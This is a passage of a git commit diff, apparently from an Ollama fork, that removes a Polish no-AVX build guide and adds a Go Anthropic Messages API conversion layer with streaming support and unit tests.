anthropic: fix ToolCallFunctionArguments type after rebase

Update tests and implementation to use the new ordered map-based
ToolCallFunctionArguments type which replaces the previous map[string]any.

- Add mapToArgs helper to convert map[string]any to ToolCallFunctionArguments
- Add testArgs and testProps helpers in tests
- Use cmpopts.IgnoreUnexported for cmp.Diff comparisons

NO_AVX_GUIDE.md

@@ -1,38 +0,0 @@
-# Instrukcja budowania dla Intel Xeon (bez AVX) + NVIDIA GPU (MX Linux)
-
-Ten build naprawia błąd `Illegal instruction` na starszych procesorach i wymusza użycie CUDA.
-
-## Wymagania
-* Zainstalowane `cuda-toolkit` (bez sterowników, jeśli już są w systemie).
-* Pobrane repozytorium z `git submodule update --init --recursive`.
-
-## 1. Symlinki (Naprawa ścieżek MX Linux)
-MX Linux trzyma CUDA w niestandardowym miejscu. Wykonaj raz:
-```bash
-sudo mkdir -p /usr/local/cuda
-sudo ln -sFn /usr/lib/cuda/include /usr/local/cuda/include
-sudo ln -sFn /usr/lib/x86_64-linux-gnu/nvidia/current /usr/local/cuda/lib64
-```
-
-```bash
-# Wyczyść stare
-rm -rf build
-
-# Konfiguracja
-cmake -B build \
-    -DOLLAMA_CUDA=ON \
-    -DOLLAMA_VULKAN=OFF \
-    -DGGML_VULKAN=OFF \
-    -DCMAKE_DISABLE_FIND_PACKAGE_Vulkan=TRUE
-
-# Kompilacja (1 wątek dla stabilności przy OC)
-cmake --build build -j1
-
-# Zbudowanie pliku wykonywalnego
-go build .
-```
-
-```bash
-sudo mv ollama /usr/bin/ollama
-sudo chmod +x /usr/bin/ollama
-```

README.md

@@ -6,9 +6,6 @@
 
 # Ollama
 
-W przypadku xeon 5675 przeczytaj plik NO_AVX_GUIDE.md!!
-Możesz zastosować też build_custom.sh dla automatycznego FIX
-
 Get up and running with large language models.
 
 ### macOS

anthropic/anthropic.go

@@ -0,0 +1,778 @@
+package anthropic
+
+import (
+	"crypto/rand"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"log/slog"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/api"
+)
+
+// Error types matching Anthropic API
+type Error struct {
+	Type    string `json:"type"`
+	Message string `json:"message"`
+}
+
+type ErrorResponse struct {
+	Type      string `json:"type"` // always "error"
+	Error     Error  `json:"error"`
+	RequestID string `json:"request_id,omitempty"`
+}
+
+// NewError creates a new ErrorResponse with the appropriate error type based on HTTP status code
+func NewError(code int, message string) ErrorResponse {
+	var etype string
+	switch code {
+	case http.StatusBadRequest:
+		etype = "invalid_request_error"
+	case http.StatusUnauthorized:
+		etype = "authentication_error"
+	case http.StatusForbidden:
+		etype = "permission_error"
+	case http.StatusNotFound:
+		etype = "not_found_error"
+	case http.StatusTooManyRequests:
+		etype = "rate_limit_error"
+	case http.StatusServiceUnavailable, 529:
+		etype = "overloaded_error"
+	default:
+		etype = "api_error"
+	}
+
+	return ErrorResponse{
+		Type:      "error",
+		Error:     Error{Type: etype, Message: message},
+		RequestID: generateID("req"),
+	}
+}
+
+// Request types
+
+// MessagesRequest represents an Anthropic Messages API request
+type MessagesRequest struct {
+	Model         string          `json:"model"`
+	MaxTokens     int             `json:"max_tokens"`
+	Messages      []MessageParam  `json:"messages"`
+	System        any             `json:"system,omitempty"` // string or []ContentBlock
+	Stream        bool            `json:"stream,omitempty"`
+	Temperature   *float64        `json:"temperature,omitempty"`
+	TopP          *float64        `json:"top_p,omitempty"`
+	TopK          *int            `json:"top_k,omitempty"`
+	StopSequences []string        `json:"stop_sequences,omitempty"`
+	Tools         []Tool          `json:"tools,omitempty"`
+	ToolChoice    *ToolChoice     `json:"tool_choice,omitempty"`
+	Thinking      *ThinkingConfig `json:"thinking,omitempty"`
+	Metadata      *Metadata       `json:"metadata,omitempty"`
+}
+
+// MessageParam represents a message in the request
+type MessageParam struct {
+	Role    string `json:"role"`    // "user" or "assistant"
+	Content any    `json:"content"` // string or []ContentBlock
+}
+
+// ContentBlock represents a content block in a message.
+// Text and Thinking use pointers so they serialize as the field being present (even if empty)
+// only when set, which is required for SDK streaming accumulation.
+type ContentBlock struct {
+	Type string `json:"type"` // text, image, tool_use, tool_result, thinking
+
+	// For text blocks - pointer so field only appears when set (SDK requires it for accumulation)
+	Text *string `json:"text,omitempty"`
+
+	// For image blocks
+	Source *ImageSource `json:"source,omitempty"`
+
+	// For tool_use blocks
+	ID    string `json:"id,omitempty"`
+	Name  string `json:"name,omitempty"`
+	Input any    `json:"input,omitempty"`
+
+	// For tool_result blocks
+	ToolUseID string `json:"tool_use_id,omitempty"`
+	Content   any    `json:"content,omitempty"` // string or []ContentBlock
+	IsError   bool   `json:"is_error,omitempty"`
+
+	// For thinking blocks - pointer so field only appears when set (SDK requires it for accumulation)
+	Thinking  *string `json:"thinking,omitempty"`
+	Signature string  `json:"signature,omitempty"`
+}
+
+// ImageSource represents the source of an image
+type ImageSource struct {
+	Type      string `json:"type"` // "base64" or "url"
+	MediaType string `json:"media_type,omitempty"`
+	Data      string `json:"data,omitempty"`
+	URL       string `json:"url,omitempty"`
+}
+
+// Tool represents a tool definition
+type Tool struct {
+	Type        string          `json:"type,omitempty"` // "custom" for user-defined tools
+	Name        string          `json:"name"`
+	Description string          `json:"description,omitempty"`
+	InputSchema json.RawMessage `json:"input_schema,omitempty"`
+}
+
+// ToolChoice controls how the model uses tools
+type ToolChoice struct {
+	Type                   string `json:"type"` // "auto", "any", "tool", "none"
+	Name                   string `json:"name,omitempty"`
+	DisableParallelToolUse bool   `json:"disable_parallel_tool_use,omitempty"`
+}
+
+// ThinkingConfig controls extended thinking
+type ThinkingConfig struct {
+	Type         string `json:"type"` // "enabled" or "disabled"
+	BudgetTokens int    `json:"budget_tokens,omitempty"`
+}
+
+// Metadata for the request
+type Metadata struct {
+	UserID string `json:"user_id,omitempty"`
+}
+
+// Response types
+
+// MessagesResponse represents an Anthropic Messages API response
+type MessagesResponse struct {
+	ID           string         `json:"id"`
+	Type         string         `json:"type"` // "message"
+	Role         string         `json:"role"` // "assistant"
+	Model        string         `json:"model"`
+	Content      []ContentBlock `json:"content"`
+	StopReason   string         `json:"stop_reason,omitempty"`
+	StopSequence string         `json:"stop_sequence,omitempty"`
+	Usage        Usage          `json:"usage"`
+}
+
+// Usage contains token usage information
+type Usage struct {
+	InputTokens  int `json:"input_tokens"`
+	OutputTokens int `json:"output_tokens"`
+}
+
+// Streaming event types
+
+// MessageStartEvent is sent at the start of streaming
+type MessageStartEvent struct {
+	Type    string           `json:"type"` // "message_start"
+	Message MessagesResponse `json:"message"`
+}
+
+// ContentBlockStartEvent signals the start of a content block
+type ContentBlockStartEvent struct {
+	Type         string       `json:"type"` // "content_block_start"
+	Index        int          `json:"index"`
+	ContentBlock ContentBlock `json:"content_block"`
+}
+
+// ContentBlockDeltaEvent contains incremental content updates
+type ContentBlockDeltaEvent struct {
+	Type  string `json:"type"` // "content_block_delta"
+	Index int    `json:"index"`
+	Delta Delta  `json:"delta"`
+}
+
+// Delta represents an incremental update
+type Delta struct {
+	Type        string `json:"type"` // "text_delta", "input_json_delta", "thinking_delta", "signature_delta"
+	Text        string `json:"text,omitempty"`
+	PartialJSON string `json:"partial_json,omitempty"`
+	Thinking    string `json:"thinking,omitempty"`
+	Signature   string `json:"signature,omitempty"`
+}
+
+// ContentBlockStopEvent signals the end of a content block
+type ContentBlockStopEvent struct {
+	Type  string `json:"type"` // "content_block_stop"
+	Index int    `json:"index"`
+}
+
+// MessageDeltaEvent contains updates to the message
+type MessageDeltaEvent struct {
+	Type  string       `json:"type"` // "message_delta"
+	Delta MessageDelta `json:"delta"`
+	Usage DeltaUsage   `json:"usage"`
+}
+
+// MessageDelta contains stop information
+type MessageDelta struct {
+	StopReason   string `json:"stop_reason,omitempty"`
+	StopSequence string `json:"stop_sequence,omitempty"`
+}
+
+// DeltaUsage contains cumulative token usage
+type DeltaUsage struct {
+	OutputTokens int `json:"output_tokens"`
+}
+
+// MessageStopEvent signals the end of the message
+type MessageStopEvent struct {
+	Type string `json:"type"` // "message_stop"
+}
+
+// PingEvent is a keepalive event
+type PingEvent struct {
+	Type string `json:"type"` // "ping"
+}
+
+// StreamErrorEvent is an error during streaming
+type StreamErrorEvent struct {
+	Type  string `json:"type"` // "error"
+	Error Error  `json:"error"`
+}
+
+// FromMessagesRequest converts an Anthropic MessagesRequest to an Ollama api.ChatRequest
+func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
+	var messages []api.Message
+
+	if r.System != nil {
+		switch sys := r.System.(type) {
+		case string:
+			if sys != "" {
+				messages = append(messages, api.Message{Role: "system", Content: sys})
+			}
+		case []any:
+			// System can be an array of content blocks
+			var content strings.Builder
+			for _, block := range sys {
+				if blockMap, ok := block.(map[string]any); ok {
+					if blockMap["type"] == "text" {
+						if text, ok := blockMap["text"].(string); ok {
+							content.WriteString(text)
+						}
+					}
+				}
+			}
+			if content.Len() > 0 {
+				messages = append(messages, api.Message{Role: "system", Content: content.String()})
+			}
+		}
+	}
+
+	for _, msg := range r.Messages {
+		converted, err := convertMessage(msg)
+		if err != nil {
+			return nil, err
+		}
+		messages = append(messages, converted...)
+	}
+
+	options := make(map[string]any)
+
+	options["num_predict"] = r.MaxTokens
+
+	if r.Temperature != nil {
+		options["temperature"] = *r.Temperature
+	}
+
+	if r.TopP != nil {
+		options["top_p"] = *r.TopP
+	}
+
+	if r.TopK != nil {
+		options["top_k"] = *r.TopK
+	}
+
+	if len(r.StopSequences) > 0 {
+		options["stop"] = r.StopSequences
+	}
+
+	var tools api.Tools
+	for _, t := range r.Tools {
+		tool, err := convertTool(t)
+		if err != nil {
+			return nil, err
+		}
+		tools = append(tools, tool)
+	}
+
+	var think *api.ThinkValue
+	if r.Thinking != nil && r.Thinking.Type == "enabled" {
+		think = &api.ThinkValue{Value: true}
+	}
+
+	stream := r.Stream
+
+	return &api.ChatRequest{
+		Model:    r.Model,
+		Messages: messages,
+		Options:  options,
+		Stream:   &stream,
+		Tools:    tools,
+		Think:    think,
+	}, nil
+}
+
+// convertMessage converts an Anthropic MessageParam to Ollama api.Message(s)
+func convertMessage(msg MessageParam) ([]api.Message, error) {
+	var messages []api.Message
+	role := strings.ToLower(msg.Role)
+
+	switch content := msg.Content.(type) {
+	case string:
+		messages = append(messages, api.Message{Role: role, Content: content})
+
+	case []any:
+		var textContent strings.Builder
+		var images []api.ImageData
+		var toolCalls []api.ToolCall
+		var thinking string
+		var toolResults []api.Message
+
+		for _, block := range content {
+			blockMap, ok := block.(map[string]any)
+			if !ok {
+				return nil, errors.New("invalid content block format")
+			}
+
+			blockType, _ := blockMap["type"].(string)
+
+			switch blockType {
+			case "text":
+				if text, ok := blockMap["text"].(string); ok {
+					textContent.WriteString(text)
+				}
+
+			case "image":
+				source, ok := blockMap["source"].(map[string]any)
+				if !ok {
+					return nil, errors.New("invalid image source")
+				}
+
+				sourceType, _ := source["type"].(string)
+				if sourceType == "base64" {
+					data, _ := source["data"].(string)
+					decoded, err := base64.StdEncoding.DecodeString(data)
+					if err != nil {
+						return nil, fmt.Errorf("invalid base64 image data: %w", err)
+					}
+					images = append(images, decoded)
+				} else {
+					return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", sourceType)
+				}
+				// URL images would need to be fetched - skip for now
+
+			case "tool_use":
+				id, ok := blockMap["id"].(string)
+				if !ok {
+					return nil, errors.New("tool_use block missing required 'id' field")
+				}
+				name, ok := blockMap["name"].(string)
+				if !ok {
+					return nil, errors.New("tool_use block missing required 'name' field")
+				}
+				tc := api.ToolCall{
+					ID: id,
+					Function: api.ToolCallFunction{
+						Name: name,
+					},
+				}
+				if input, ok := blockMap["input"].(map[string]any); ok {
+					tc.Function.Arguments = mapToArgs(input)
+				}
+				toolCalls = append(toolCalls, tc)
+
+			case "tool_result":
+				toolUseID, _ := blockMap["tool_use_id"].(string)
+				var resultContent string
+
+				switch c := blockMap["content"].(type) {
+				case string:
+					resultContent = c
+				case []any:
+					for _, cb := range c {
+						if cbMap, ok := cb.(map[string]any); ok {
+							if cbMap["type"] == "text" {
+								if text, ok := cbMap["text"].(string); ok {
+									resultContent += text
+								}
+							}
+						}
+					}
+				}
+
+				toolResults = append(toolResults, api.Message{
+					Role:       "tool",
+					Content:    resultContent,
+					ToolCallID: toolUseID,
+				})
+
+			case "thinking":
+				if t, ok := blockMap["thinking"].(string); ok {
+					thinking = t
+				}
+			}
+		}
+
+		if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
+			m := api.Message{
+				Role:      role,
+				Content:   textContent.String(),
+				Images:    images,
+				ToolCalls: toolCalls,
+				Thinking:  thinking,
+			}
+			messages = append(messages, m)
+		}
+
+		// Add tool results as separate messages
+		messages = append(messages, toolResults...)
+
+	default:
+		return nil, fmt.Errorf("invalid message content type: %T", content)
+	}
+
+	return messages, nil
+}
+
+// convertTool converts an Anthropic Tool to an Ollama api.Tool
+func convertTool(t Tool) (api.Tool, error) {
+	var params api.ToolFunctionParameters
+	if len(t.InputSchema) > 0 {
+		if err := json.Unmarshal(t.InputSchema, &params); err != nil {
+			return api.Tool{}, fmt.Errorf("invalid input_schema for tool %q: %w", t.Name, err)
+		}
+	}
+
+	return api.Tool{
+		Type: "function",
+		Function: api.ToolFunction{
+			Name:        t.Name,
+			Description: t.Description,
+			Parameters:  params,
+		},
+	}, nil
+}
+
+// ToMessagesResponse converts an Ollama api.ChatResponse to an Anthropic MessagesResponse
+func ToMessagesResponse(id string, r api.ChatResponse) MessagesResponse {
+	var content []ContentBlock
+
+	if r.Message.Thinking != "" {
+		content = append(content, ContentBlock{
+			Type:     "thinking",
+			Thinking: ptr(r.Message.Thinking),
+		})
+	}
+
+	if r.Message.Content != "" {
+		content = append(content, ContentBlock{
+			Type: "text",
+			Text: ptr(r.Message.Content),
+		})
+	}
+
+	for _, tc := range r.Message.ToolCalls {
+		content = append(content, ContentBlock{
+			Type:  "tool_use",
+			ID:    tc.ID,
+			Name:  tc.Function.Name,
+			Input: tc.Function.Arguments,
+		})
+	}
+
+	stopReason := mapStopReason(r.DoneReason, len(r.Message.ToolCalls) > 0)
+
+	return MessagesResponse{
+		ID:         id,
+		Type:       "message",
+		Role:       "assistant",
+		Model:      r.Model,
+		Content:    content,
+		StopReason: stopReason,
+		Usage: Usage{
+			InputTokens:  r.Metrics.PromptEvalCount,
+			OutputTokens: r.Metrics.EvalCount,
+		},
+	}
+}
+
+// mapStopReason converts Ollama done_reason to Anthropic stop_reason
+func mapStopReason(reason string, hasToolCalls bool) string {
+	if hasToolCalls {
+		return "tool_use"
+	}
+
+	switch reason {
+	case "stop":
+		return "end_turn"
+	case "length":
+		return "max_tokens"
+	default:
+		if reason != "" {
+			return "stop_sequence"
+		}
+		return ""
+	}
+}
+
+// StreamConverter manages state for converting Ollama streaming responses to Anthropic format
+type StreamConverter struct {
+	ID              string
+	Model           string
+	firstWrite      bool
+	contentIndex    int
+	inputTokens     int
+	outputTokens    int
+	thinkingStarted bool
+	thinkingDone    bool
+	textStarted     bool
+	toolCallsSent   map[string]bool
+}
+
+func NewStreamConverter(id, model string) *StreamConverter {
+	return &StreamConverter{
+		ID:            id,
+		Model:         model,
+		firstWrite:    true,
+		toolCallsSent: make(map[string]bool),
+	}
+}
+
+// StreamEvent represents a streaming event to be sent to the client
+type StreamEvent struct {
+	Event string
+	Data  any
+}
+
+// Process converts an Ollama ChatResponse to Anthropic streaming events
+func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
+	var events []StreamEvent
+
+	if c.firstWrite {
+		c.firstWrite = false
+		c.inputTokens = r.Metrics.PromptEvalCount
+
+		events = append(events, StreamEvent{
+			Event: "message_start",
+			Data: MessageStartEvent{
+				Type: "message_start",
+				Message: MessagesResponse{
+					ID:      c.ID,
+					Type:    "message",
+					Role:    "assistant",
+					Model:   c.Model,
+					Content: []ContentBlock{},
+					Usage: Usage{
+						InputTokens:  c.inputTokens,
+						OutputTokens: 0,
+					},
+				},
+			},
+		})
+	}
+
+	if r.Message.Thinking != "" && !c.thinkingDone {
+		if !c.thinkingStarted {
+			c.thinkingStarted = true
+			events = append(events, StreamEvent{
+				Event: "content_block_start",
+				Data: ContentBlockStartEvent{
+					Type:  "content_block_start",
+					Index: c.contentIndex,
+					ContentBlock: ContentBlock{
+						Type:     "thinking",
+						Thinking: ptr(""),
+					},
+				},
+			})
+		}
+
+		events = append(events, StreamEvent{
+			Event: "content_block_delta",
+			Data: ContentBlockDeltaEvent{
+				Type:  "content_block_delta",
+				Index: c.contentIndex,
+				Delta: Delta{
+					Type:     "thinking_delta",
+					Thinking: r.Message.Thinking,
+				},
+			},
+		})
+	}
+
+	if r.Message.Content != "" {
+		if c.thinkingStarted && !c.thinkingDone {
+			c.thinkingDone = true
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+			c.contentIndex++
+		}
+
+		if !c.textStarted {
+			c.textStarted = true
+			events = append(events, StreamEvent{
+				Event: "content_block_start",
+				Data: ContentBlockStartEvent{
+					Type:  "content_block_start",
+					Index: c.contentIndex,
+					ContentBlock: ContentBlock{
+						Type: "text",
+						Text: ptr(""),
+					},
+				},
+			})
+		}
+
+		events = append(events, StreamEvent{
+			Event: "content_block_delta",
+			Data: ContentBlockDeltaEvent{
+				Type:  "content_block_delta",
+				Index: c.contentIndex,
+				Delta: Delta{
+					Type: "text_delta",
+					Text: r.Message.Content,
+				},
+			},
+		})
+	}
+
+	for _, tc := range r.Message.ToolCalls {
+		if c.toolCallsSent[tc.ID] {
+			continue
+		}
+
+		if c.textStarted {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+			c.contentIndex++
+			c.textStarted = false
+		}
+
+		argsJSON, err := json.Marshal(tc.Function.Arguments)
+		if err != nil {
+			slog.Error("failed to marshal tool arguments", "error", err, "tool_id", tc.ID)
+			continue
+		}
+
+		events = append(events, StreamEvent{
+			Event: "content_block_start",
+			Data: ContentBlockStartEvent{
+				Type:  "content_block_start",
+				Index: c.contentIndex,
+				ContentBlock: ContentBlock{
+					Type:  "tool_use",
+					ID:    tc.ID,
+					Name:  tc.Function.Name,
+					Input: map[string]any{},
+				},
+			},
+		})
+
+		events = append(events, StreamEvent{
+			Event: "content_block_delta",
+			Data: ContentBlockDeltaEvent{
+				Type:  "content_block_delta",
+				Index: c.contentIndex,
+				Delta: Delta{
+					Type:        "input_json_delta",
+					PartialJSON: string(argsJSON),
+				},
+			},
+		})
+
+		events = append(events, StreamEvent{
+			Event: "content_block_stop",
+			Data: ContentBlockStopEvent{
+				Type:  "content_block_stop",
+				Index: c.contentIndex,
+			},
+		})
+
+		c.toolCallsSent[tc.ID] = true
+		c.contentIndex++
+	}
+
+	if r.Done {
+		if c.textStarted {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+		} else if c.thinkingStarted && !c.thinkingDone {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+		}
+
+		c.outputTokens = r.Metrics.EvalCount
+		stopReason := mapStopReason(r.DoneReason, len(c.toolCallsSent) > 0)
+
+		events = append(events, StreamEvent{
+			Event: "message_delta",
+			Data: MessageDeltaEvent{
+				Type: "message_delta",
+				Delta: MessageDelta{
+					StopReason: stopReason,
+				},
+				Usage: DeltaUsage{
+					OutputTokens: c.outputTokens,
+				},
+			},
+		})
+
+		events = append(events, StreamEvent{
+			Event: "message_stop",
+			Data: MessageStopEvent{
+				Type: "message_stop",
+			},
+		})
+	}
+
+	return events
+}
+
+// generateID generates a unique ID with the given prefix using crypto/rand
+func generateID(prefix string) string {
+	b := make([]byte, 12)
+	if _, err := rand.Read(b); err != nil {
+		// Fallback to time-based ID if crypto/rand fails
+		return fmt.Sprintf("%s_%d", prefix, time.Now().UnixNano())
+	}
+	return fmt.Sprintf("%s_%x", prefix, b)
+}
+
+// GenerateMessageID generates a unique message ID
+func GenerateMessageID() string {
+	return generateID("msg")
+}
+
+// ptr returns a pointer to the given string value
+func ptr(s string) *string {
+	return &s
+}
+
+// mapToArgs converts a map to ToolCallFunctionArguments
+func mapToArgs(m map[string]any) api.ToolCallFunctionArguments {
+	args := api.NewToolCallFunctionArguments()
+	for k, v := range m {
+		args.Set(k, v)
+	}
+	return args
+}

anthropic/anthropic_test.go

@@ -0,0 +1,953 @@
+package anthropic
+
+import (
+	"encoding/base64"
+	"encoding/json"
+	"testing"
+
+	"github.com/google/go-cmp/cmp"
+
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	testImage = `iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=`
+)
+
+// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests)
+func testArgs(m map[string]any) api.ToolCallFunctionArguments {
+	args := api.NewToolCallFunctionArguments()
+	for k, v := range m {
+		args.Set(k, v)
+	}
+	return args
+}
+
+func TestFromMessagesRequest_Basic(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{Role: "user", Content: "Hello"},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Model != "test-model" {
+		t.Errorf("expected model 'test-model', got %q", result.Model)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Role != "user" || result.Messages[0].Content != "Hello" {
+		t.Errorf("unexpected message: %+v", result.Messages[0])
+	}
+
+	if numPredict, ok := result.Options["num_predict"].(int); !ok || numPredict != 1024 {
+		t.Errorf("expected num_predict 1024, got %v", result.Options["num_predict"])
+	}
+}
+
+func TestFromMessagesRequest_WithSystemPrompt(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		System:    "You are a helpful assistant.",
+		Messages: []MessageParam{
+			{Role: "user", Content: "Hello"},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Role != "system" || result.Messages[0].Content != "You are a helpful assistant." {
+		t.Errorf("unexpected system message: %+v", result.Messages[0])
+	}
+}
+
+func TestFromMessagesRequest_WithSystemPromptArray(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		System: []any{
+			map[string]any{"type": "text", "text": "You are helpful."},
+			map[string]any{"type": "text", "text": " Be concise."},
+		},
+		Messages: []MessageParam{
+			{Role: "user", Content: "Hello"},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Content != "You are helpful. Be concise." {
+		t.Errorf("unexpected system message content: %q", result.Messages[0].Content)
+	}
+}
+
+func TestFromMessagesRequest_WithOptions(t *testing.T) {
+	temp := 0.7
+	topP := 0.9
+	topK := 40
+	req := MessagesRequest{
+		Model:         "test-model",
+		MaxTokens:     2048,
+		Messages:      []MessageParam{{Role: "user", Content: "Hello"}},
+		Temperature:   &temp,
+		TopP:          &topP,
+		TopK:          &topK,
+		StopSequences: []string{"\n", "END"},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Options["temperature"] != 0.7 {
+		t.Errorf("expected temperature 0.7, got %v", result.Options["temperature"])
+	}
+	if result.Options["top_p"] != 0.9 {
+		t.Errorf("expected top_p 0.9, got %v", result.Options["top_p"])
+	}
+	if result.Options["top_k"] != 40 {
+		t.Errorf("expected top_k 40, got %v", result.Options["top_k"])
+	}
+	if diff := cmp.Diff([]string{"\n", "END"}, result.Options["stop"]); diff != "" {
+		t.Errorf("stop sequences mismatch: %s", diff)
+	}
+}
+
+func TestFromMessagesRequest_WithImage(t *testing.T) {
+	imgData, _ := base64.StdEncoding.DecodeString(testImage)
+
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "user",
+				Content: []any{
+					map[string]any{"type": "text", "text": "What's in this image?"},
+					map[string]any{
+						"type": "image",
+						"source": map[string]any{
+							"type":       "base64",
+							"media_type": "image/png",
+							"data":       testImage,
+						},
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Content != "What's in this image?" {
+		t.Errorf("expected content 'What's in this image?', got %q", result.Messages[0].Content)
+	}
+
+	if len(result.Messages[0].Images) != 1 {
+		t.Fatalf("expected 1 image, got %d", len(result.Messages[0].Images))
+	}
+
+	if string(result.Messages[0].Images[0]) != string(imgData) {
+		t.Error("image data mismatch")
+	}
+}
+
+func TestFromMessagesRequest_WithToolUse(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{Role: "user", Content: "What's the weather in Paris?"},
+			{
+				Role: "assistant",
+				Content: []any{
+					map[string]any{
+						"type":  "tool_use",
+						"id":    "call_123",
+						"name":  "get_weather",
+						"input": map[string]any{"location": "Paris"},
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	if len(result.Messages[1].ToolCalls) != 1 {
+		t.Fatalf("expected 1 tool call, got %d", len(result.Messages[1].ToolCalls))
+	}
+
+	tc := result.Messages[1].ToolCalls[0]
+	if tc.ID != "call_123" {
+		t.Errorf("expected tool call ID 'call_123', got %q", tc.ID)
+	}
+	if tc.Function.Name != "get_weather" {
+		t.Errorf("expected tool name 'get_weather', got %q", tc.Function.Name)
+	}
+}
+
+func TestFromMessagesRequest_WithToolResult(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "user",
+				Content: []any{
+					map[string]any{
+						"type":        "tool_result",
+						"tool_use_id": "call_123",
+						"content":     "The weather in Paris is sunny, 22°C",
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	msg := result.Messages[0]
+	if msg.Role != "tool" {
+		t.Errorf("expected role 'tool', got %q", msg.Role)
+	}
+	if msg.ToolCallID != "call_123" {
+		t.Errorf("expected tool_call_id 'call_123', got %q", msg.ToolCallID)
+	}
+	if msg.Content != "The weather in Paris is sunny, 22°C" {
+		t.Errorf("unexpected content: %q", msg.Content)
+	}
+}
+
+func TestFromMessagesRequest_WithTools(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: "Hello"}},
+		Tools: []Tool{
+			{
+				Name:        "get_weather",
+				Description: "Get current weather",
+				InputSchema: json.RawMessage(`{"type":"object","properties":{"location":{"type":"string"}},"required":["location"]}`),
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Tools) != 1 {
+		t.Fatalf("expected 1 tool, got %d", len(result.Tools))
+	}
+
+	tool := result.Tools[0]
+	if tool.Type != "function" {
+		t.Errorf("expected type 'function', got %q", tool.Type)
+	}
+	if tool.Function.Name != "get_weather" {
+		t.Errorf("expected name 'get_weather', got %q", tool.Function.Name)
+	}
+	if tool.Function.Description != "Get current weather" {
+		t.Errorf("expected description 'Get current weather', got %q", tool.Function.Description)
+	}
+}
+
+func TestFromMessagesRequest_WithThinking(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: "Hello"}},
+		Thinking:  &ThinkingConfig{Type: "enabled", BudgetTokens: 1000},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected Think to be set")
+	}
+	if v, ok := result.Think.Value.(bool); !ok || !v {
+		t.Errorf("expected Think.Value to be true, got %v", result.Think.Value)
+	}
+}
+
+// TestFromMessagesRequest_ThinkingOnlyBlock verifies that messages containing only
+// a thinking block (no text, images, or tool calls) are preserved and not dropped.
+func TestFromMessagesRequest_ThinkingOnlyBlock(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{Role: "user", Content: "Hello"},
+			{
+				Role: "assistant",
+				Content: []any{
+					map[string]any{
+						"type":     "thinking",
+						"thinking": "Let me think about this...",
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
